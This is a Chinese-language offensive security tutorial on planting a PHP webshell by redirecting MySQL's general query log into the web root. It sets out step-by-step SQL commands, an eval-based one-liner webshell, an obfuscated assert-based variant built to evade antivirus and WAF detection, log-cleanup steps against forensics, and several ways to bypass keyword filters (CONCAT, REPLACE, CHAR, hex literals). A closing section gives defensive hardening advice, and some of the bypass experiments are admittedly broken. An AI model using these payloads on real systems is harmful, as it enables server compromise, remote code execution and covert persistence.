MySQL通用查询日志写Webshell:绕过过滤的侧信道攻击详解

MySQL通用查询日志写Webshell:绕过过滤的侧信道攻击详解 1. 从常规注入到日志利用一个被忽视的攻击路径在渗透测试或者安全审计中我们常常会遇到一些“硬骨头”——目标系统对常见的SQL注入利用方式做了严格的过滤。outfile、dumpfile这些直接写文件的函数被禁用了drop database这类高危操作也被拦截甚至union select的路径也被堵死。很多新手朋友遇到这种情况可能就觉得无从下手认为这个注入点“无害”或者“只能盲注”。但实际情况是只要数据库连接权限足够高通常是root并且我们能够执行任意SQL语句就存在一条常常被防御方忽略的攻击路径利用MySQL的通用查询日志General Query Log来写入Webshell。这个方法的核心思路非常巧妙它不是直接向网站目录写文件而是“劫持”MySQL记录所有执行语句的日志文件将其路径指向Web目录然后通过执行一条包含Webshell代码的查询语句让MySQL自己把我们的恶意代码“记录”到目标文件中。这绕过了对传统写文件函数的依赖是一种典型的“侧信道”攻击。今天我就结合自己多次实战和代码审计的经验把这个技术的原理、实操细节以及面对各种过滤规则的绕过手法掰开揉碎了讲清楚。无论你是安全研究员、红队队员还是负责防御的开发者理解这套组合拳都至关重要。2. 通用查询日志写Shell的核心原理与前置条件在深入Bypass技巧之前我们必须先彻底理解这个攻击方法赖以成立的基础。知其然更要知其所以然这样才能在面对变种防御时灵活应对。2.1 通用查询日志General Query Log是什么你可以把MySQL的通用查询日志想象成一个数据库的“黑匣子”或者“操作记录仪”。当这个功能被开启后MySQL服务器会将自己接收到的每一条客户端连接信息和SQL语句无论执行成功与否都原原本本地记录到一个指定的日志文件里。它的主要用途是审计和调试比如排查某个慢查询的来源或者分析应用程序的数据库交互行为。这个日志有两个关键的系统变量控制general_log 用于开启或关闭日志功能值可以是ON或OFF。general_log_file 用于指定日志文件的完整存储路径。攻击的突破口就在于general_log_file这个路径变量在运行时可以被动态修改。而且如果MySQL服务进程mysqld是以高权限如root运行的它就有能力将日志文件指向Web服务器的文档根目录如/var/www/html/。2.2 攻击成功必须满足的四个条件这个方法并非万能它有严格的先决条件。在尝试之前必须进行充分的探测和判断否则就是做无用功。数据库用户具备FILE权限及SUPER或GRANT OPTION权限 这是最核心的一点。FILE权限允许MySQL在服务器文件系统上进行读写操作。而修改全局系统变量global级别通常需要SUPER权限MySQL 5.7及以前或SYSTEM_VARIABLES_ADMIN和SESSION_VARIABLES_ADMIN权限MySQL 8.0。实战中最理想的情况就是注入点使用的是root用户连接。我们可以通过执行SELECT user(), super_priv FROM mysql.user WHERE user() LIKE CONCAT(user, ‘’, host)或SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee LIKE CONCAT(‘\’, USER(), ‘\’)来查询当前权限。MySQL服务进程具有目标目录的写权限 即使数据库用户有FILE权限最终执行写文件操作的是mysqld进程。如果这个进程是以root身份运行那它几乎可以写任何地方。如果是以mysql用户运行则需要确保该用户对目标Web目录如/var/www/html有写权限。在Linux下可以尝试用SELECT ‘?php phpinfo();?’写入一个临时文件来测试写权限。通用查询日志功能未被预先关闭或固定 目标MySQL服务器的general_log可能默认就是OFF并且general_log_file路径可能是一个非Web目录。这恰恰是我们的机会。我们需要将其开启并重定向。但如果运维在配置文件中用--general-log-file硬编码了路径或者使用了--skip-log-general启动我们的SET GLOBAL命令可能会失效或仅对当前会话有效这需要测试。能够执行多语句或堆叠查询 整个攻击流程需要依次执行SET GLOBAL ...和SELECT ...多条语句。这要求注入点支持堆叠查询Stacked Queries例如在PHP中使用mysqli_multi_query()而非mysqli_query()。如果后端使用的是不支持堆叠查询的API如PDO::query()默认不支持除非特别配置那么这个方法将无法实施。测试堆叠查询可以用1‘; SELECT SLEEP(5); --观察是否有延迟。重要提示 在真实环境中满足所有四个条件的情况并不像实验室那么常见。尤其是生产环境的MySQL很少会用root账号作为应用连接账号并且堆叠查询也常被框架或ORM库过滤。因此这个技术更多见于一些老旧系统、内部管理系统或特定框架的配置不当场景中。3. 基础攻击流程与关键SQL指令拆解假设我们找到了一个满足所有条件的注入点接下来就是标准操作流程。我会为每一步配上详细的解释和注意事项。3.1 第一步侦察环境与配置在动手前先摸清底细。不要一上来就直接改日志路径可能会触发警报或失败。-- 查看当前通用查询日志的状态和路径 SHOW VARIABLES LIKE ‘%general%’;执行后你可能会看到类似下面的结果---------------------------------------------- | Variable_name | Value | ---------------------------------------------- | general_log | OFF | | general_log_file | /var/lib/mysql/localhost.log | ----------------------------------------------这里的关键信息是general_log为OFF这是好事说明我们可以开启general_log_file当前指向一个MySQL的数据目录通常是不可Web访问的。同时确认Web绝对路径。可以通过一些已知信息推断比如load_file()读取网站配置文件、报错信息、或者利用datadir等变量结合经验猜测。假设我们已确定Web根目录为/var/www/html/。3.2 第二步开启日志并重定向路径这是攻击的核心步骤顺序很重要。-- 开启通用查询日志功能 SET GLOBAL general_log ‘ON’; -- 将日志文件路径设置为Web目录下的一个文件例如 shell.php SET GLOBAL general_log_file ‘/var/www/html/shell.php’;操作意图与细节SET GLOBAL命令用于修改全局系统变量影响所有后续连接。这需要高级权限。必须先开启日志general_log ‘ON’再修改路径。如果先改路径再开启也可能成功但顺序操作更符合逻辑。文件后缀.php至关重要这确保了文件能被Web服务器如Apache, Nginx解析执行。路径必须绝对路径。执行成功后MySQL会立即开始将后续所有查询日志写入到新的文件/var/www/html/shell.php。如果该文件已存在MySQL会清空其原有内容。这一点非常关键意味着你不能用这个方法向已存在的文件追加内容而是会覆盖它。3.3 第三步写入Webshell代码现在日志文件已经指向了我们的目标。我们需要让MySQL“记录”一条特殊的查询这条查询的“内容”就是我们的Webshell代码。-- 执行一条“查询”其“结果”就是PHP代码。注意闭合的PHP标签。 SELECT ‘?php eval($_POST[“cmd”]);?’;为什么这样写当general_log开启时MySQL会记录完整的SQL语句。执行上述SELECT后日志文件shell.php中就会被写入一行记录其中包含‘?php eval($_POST[“cmd”]);?’这个字符串。由于我们将其命名为.php文件并且该字符串正好是合法的PHP代码被包裹在单引号中但PHP引擎在解析时?php ... ?标签外的内容会被视为普通文本输出而标签内的代码会被执行。关键在于日志文件通常会有一些时间戳、连接ID等前缀信息。例如日志行可能长这样/usr/sbin/mysqld, Version: 5.7.40-log. started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 2024-01-01T12:00:00.123456Z 1 Query SELECT ‘?php eval($_POST[“cmd”]);?’这些额外的字符会被Web服务器在解析PHP文件时当作HTML文本输出到浏览器只有?php ... ?标签内的部分会被执行。我们的恶意代码被完美包裹在PHP标签内因此可以正常执行。eval($_POST[“cmd”])是一个经典的PHP一句话木马接收POST参数cmd并执行。3.4 第四步清理痕迹可选但建议拿到Shell后为了隐蔽和恢复系统状态最好清理现场。-- 将日志路径改回一个不显眼的地方 SET GLOBAL general_log_file ‘/var/lib/mysql/general.log’; -- 关闭通用查询日志减少性能开销和暴露风险从防御方角度看 SET GLOBAL general_log ‘OFF’;注意事项 改回路径和关闭日志的操作也会被记录到日志中但此时日志文件已经不在Web目录所以这条记录不会被访问到。这是一种基本的反溯源操作。4. 免杀Shell构造与高级日志写入技巧直接写入?php eval($_POST[“cmd”]);?这种特征明显的代码很容易被主机安全软件、WAF或代码审计发现。我们需要对Webshell进行混淆和免杀处理。4.1 利用字符串拼接与函数构造免杀Shell原文中提到了一个非常巧妙的免杀PHP Shell构造方法我们来详细解析一下SELECT “? php $parray(‘f’’a’,‘pffff’’s’,‘e’’fffff’,‘lfaaaa’’r’,‘nnnnn’’t’);$aarray_keys($p);$_$p[‘pffff’].$p[‘pffff’].$a[2];$_‘a’.$_.‘rt’;$_(base64_decode($_REQUEST[‘username’]));?”代码拆解分析$p是一个关联数组其值看起来是混乱的字母。array_keys($p)获取数组$p的所有键得到数组$a [‘f’, ‘pffff’, ‘e’, ‘lfaaaa’, ‘nnnnn’]。$_ $p[‘pffff’] . $p[‘pffff’] . $a[2];$p[‘pffff’]的值是‘s’。拼接后$_ ‘s’ . ‘s’ . ‘e’ ‘sse’。$_ ‘a’ . $_ . ‘rt’;拼接后$_ ‘a’ . ‘sse’ . ‘rt’ ‘assert’。最终代码执行assert(base64_decode($_REQUEST[‘username’]));。其本质是动态构造了assert()函数。assert()是PHP中的一个函数它会将传入的字符串参数当作PHP代码来执行。通过base64_decode接收参数进一步规避了直接传递可读代码的风险。整个Webshell没有出现eval、system、shell_exec等敏感函数名字符串也被打散静态检测的难度大大增加。在SQL语句中写入时要注意引号转义。因为SQL语句本身用单引号包裹字符串所以PHP代码内的字符串最好用双引号或者对单引号进行转义\’。4.2 处理日志文件头部的“杂质”如前所述通用查询日志会在我们的代码前附加一些信息。这些信息作为文本输出到浏览器可能会暴露我们的攻击行为。一个更隐蔽的做法是利用PHP的注释符/* ... */或语言结构来包裹这些杂质使其被PHP解析器忽略。我们可以构造这样的查询SELECT ‘/*‘; SELECT ‘*/?php eval($_POST[“cmd”]);?/*‘; SELECT ‘*/‘;这样写入日志后文件内容可能如下... Argument 2024-01-01T12:00:00.123456Z 1 Query SELECT ‘/*‘ 2024-01-01T12:00:00.123457Z 1 Query SELECT ‘*/?php eval($_POST[“cmd”]);?/*‘ 2024-01-01T12:00:00.123458Z 1 Query SELECT ‘*/‘在PHP中/* ... */是多行注释。理想情况下第一个SELECT ‘/*‘;产生的/*会与日志行末尾的引号等字符结合但很可能无法形成有效的注释闭合。更可靠的方法是写入一个短的PHP标签并立即用exit()或die()结束防止后续日志内容被输出。SELECT ‘?php eval($_POST[“cmd”]);exit();?‘;exit();会使得PHP在执行完我们的木马后立即终止脚本之后日志追加的任何内容都不会被送到浏览器。这是最有效和简洁的方法。5. 绕过常见过滤规则的实战案例解析现在进入最精彩的部分当防御者意识到这种攻击并开始部署过滤规则时我们如何见招拆招原文提供了一个很好的案例演进我们来深入扩展每一步的绕过思路。5.1 绕过案例一过滤.php后缀防御规则 在SQL语句中检测到字符串.php即中断执行。if(stristr($sql, ‘.php’)){ $str ‘ERROR : 检测到非法字符 “.php” ‘; break; }绕过方法字符串拼接防御规则是简单的字符串匹配我们可以使用MySQL的字符串函数将.php拆分开来在数据库内部拼接。SET GLOBAL general_log_file CONCAT(‘/var/www/html/shell.‘, ‘php’);原理CONCAT()函数在MySQL执行时才会将两个字符串连接成/var/www/html/shell.php而应用层在拦截时看到的SQL语句是CONCAT(‘/var/www/html/shell.‘, ‘php’)其中不包含连续的.php子串从而绕过检测。5.2 绕过案例二同时过滤.php和concat防御规则升级if(stristr($sql, ‘.php’)){ $str ‘ERROR : 检测到非法字符 “.php” ‘; break; } if(stristr($sql, ‘concat’)){ $str ‘ERROR : 检测到非法字符 “concat” ‘; break; }绕过方法字符串替换CONCAT家族CONCAT_WS,GROUP_CONCAT被禁用了我们换一个思路。先设置一个“合法”的后缀再用字符串替换函数将其改成.php。SET GLOBAL general_log_file REPLACE(‘/var/www/html/shell.jpg‘, ‘jpg‘, ‘php‘);原理REPLACE()函数将字符串中的‘jpg‘替换为‘php‘。传入的SQL语句是REPLACE(‘...shell.jpg‘, ‘jpg‘, ‘php‘)不包含.php或concat成功绕过。这里选择.jpg是因为它通常不在WebShell过滤的黑名单里。5.3 绕过案例三过滤.php、concat和replace防御规则再次升级if(stripos($sql, ‘replace’)){ $str ‘ERROR : 检测到非法字符 “replace” ‘; break; }绕过方法编码/解码或十六进制表示当常见的字符串函数都被封堵时我们需要更底层的绕过方式。方法A使用CHAR()函数构造字符串CHAR()函数根据ASCII码返回字符。我们可以构造出.php。SET GLOBAL general_log_file CONCAT(‘/var/www/html/shell‘, CHAR(46), CHAR(112), CHAR(104), CHAR(112)); -- CHAR(46)是‘.‘, CHAR(112)是‘p‘, CHAR(104)是‘h‘, CHAR(112)是‘p‘。但这里用到了CONCAT如果它被过滤此路不通。不过我们可以将整个路径用CHAR()表示。方法B使用十六进制字面量MySQL支持十六进制字面量0x后跟十六进制字符串会被当作字符串处理。SET GLOBAL general_log_file 0x2F7661722F7777772F68746D6C2F7368656C6C2E706870;这串十六进制解码后正是/var/www/html/shell.php。这是非常强大的绕过方式因为过滤规则很难检测一段十六进制代码代表什么。你可以用在线工具或编程语言将路径转换为十六进制。方法C利用LOAD_FILE()和系统变量条件苛刻如果网站存在一个我们可控内容的文件比如图片上传点且知道路径我们可以先写入一个包含目标路径的文本然后用LOAD_FILE()读取它。但这需要FILE权限和精确路径实操难度大。-- 假设 /tmp/path.txt 内容为 ‘/var/www/html/shell.php‘ SET GLOBAL general_log_file LOAD_FILE(‘/tmp/path.txt‘);方法D利用系统变量拼接这是一种非常隐蔽的方法利用MySQL自身的系统变量来获取单个字符。SET GLOBAL general_log_file CONCAT(‘/var/www/html/shell‘, SUBSTRING(version, 1, 1), ‘php‘);这依赖于version的第一个字符是数字如‘5‘,‘8‘而不是点‘.‘。不通用但展示了思路从数据库自身的信息中提取所需字符。更通用的做法是-- 利用‘mysql‘这个数据库名取它的第几个字符 SET GLOBAL general_log_file CONCAT(‘/var/www/html/shell‘, SUBSTRING(‘mysql‘, 2, 1), ‘hp‘); -- SUBSTRING(‘mysql‘, 2, 1) 得到 ‘y‘这不对。需要更精巧的构造。实际上要构造一个点‘.‘可以这样SELECT SUBSTRING_INDEX(‘www.example.com‘, ‘.‘, 1); -- 返回‘www‘不行。 SELECT RIGHT(‘abc.‘, 1); -- 返回‘.‘但需要知道哪个字符串以点结尾。 -- 一个可行的技巧利用当前日期 SELECT DATE_FORMAT(NOW(), ‘%Y-%m-%d‘); -- 返回 ‘2024-01-01‘包含‘-‘不是‘.‘。最可靠的方法还是十六进制。6. 防御视角如何有效防护日志写Shell攻击作为防御方了解攻击手法是为了更好地防护。仅仅在应用层进行关键词过滤是“道高一尺魔高一丈”的无限循环且存在误杀正常业务的可能性比如文章内容里包含“concat”。应该构建纵深防御体系最小权限原则 应用程序连接数据库的账号绝对不要使用root或任何具有FILE、SUPER、GRANT OPTION权限的账号。创建一个仅对必要业务库有SELECT、INSERT、UPDATE、DELETE权限的专用账号。这是最根本、最有效的防御措施。禁用堆叠查询 在代码层面使用参数化查询Prepared Statements或存储过程并确保使用的数据库驱动API默认不支持或已禁用多语句查询。例如在PHP的PDO中设置PDO::ATTR_EMULATE_PREPARES为false并禁用PDO::MYSQL_ATTR_MULTI_STATEMENTS。数据库配置加固在MySQL配置文件(my.cnf)中设置general_log 0来彻底关闭通用查询日志除非有明确的审计需求。如果必须开启使用--general-log-file在启动时指定一个固定的、非Web可访问的路径如/var/log/mysql/general.log并设置该文件权限仅为mysql用户可写。使用--secure-file-priv选项限制LOAD DATA INFILE和SELECT ... INTO OUTFILE的操作目录虽然这不直接影响general_log_file但体现了安全配置思路。Web目录权限控制 确保Web目录如/var/www/html的文件所有者是Web服务器用户如www-data、nginx并且目录权限设置为755文件权限设置为644。MySQL的进程用户通常是mysql不应该对Web目录有写权限。可以通过设置适当的用户组和ACL来实现严格的隔离。应用层输入处理 虽然过滤关键词是次要防线但可以作为补充。应采用白名单而非黑名单机制。对于需要动态设置路径或字段名的罕见场景使用严格的白名单进行映射。对于SQL语句坚持使用参数化查询将用户输入永远视为数据而非代码。日志与监控 监控MySQL中SET GLOBAL命令的执行尤其是针对general_log和general_log_file的修改。可以在数据库审计日志或主机安全日志中设置告警规则。同时监控Web目录下异常.php文件的创建特别是由非Web进程创建的。7. 拓展思考与高级利用场景除了通用查询日志MySQL还有其他日志机制但在写Shell的利用上限制更多慢查询日志Slow Query Log 同样由slow_query_log_file控制路径。但慢查询日志只记录执行时间超过long_query_time的语句。我们可以通过执行一个包含恶意代码的、人为制造的长时查询例如SELECT BENCHMARK(100000000, MD5(‘test‘))来触发记录。但这不够可靠且容易被发现。二进制日志Binary Log 主要用于主从复制记录数据更改语句。其路径由log_bin_basename决定但通常无法动态修改且记录的是行事件或语句的内部表示形式不适合直接写入可执行的Webshell。此外这个攻击思路可以迁移。任何允许动态指定输出文件路径的日志或调试功能在权限配置不当的情况下都可能成为攻击面。这提醒我们在评估系统安全时需要关注所有可写的、位置可控的输出通道。最后这种攻击的成功高度依赖于环境配置。在实战中它往往不是首选的攻击方式而是当其他路径都被封死后的“奇兵”。对于渗透测试人员而言掌握它意味着多了一种可能性对于防御者而言堵上这个漏洞则是加固纵深防御体系中重要的一环。安全永远是攻防双方的动态博弈理解每一种攻击技术的细节才能更好地守护我们的系统。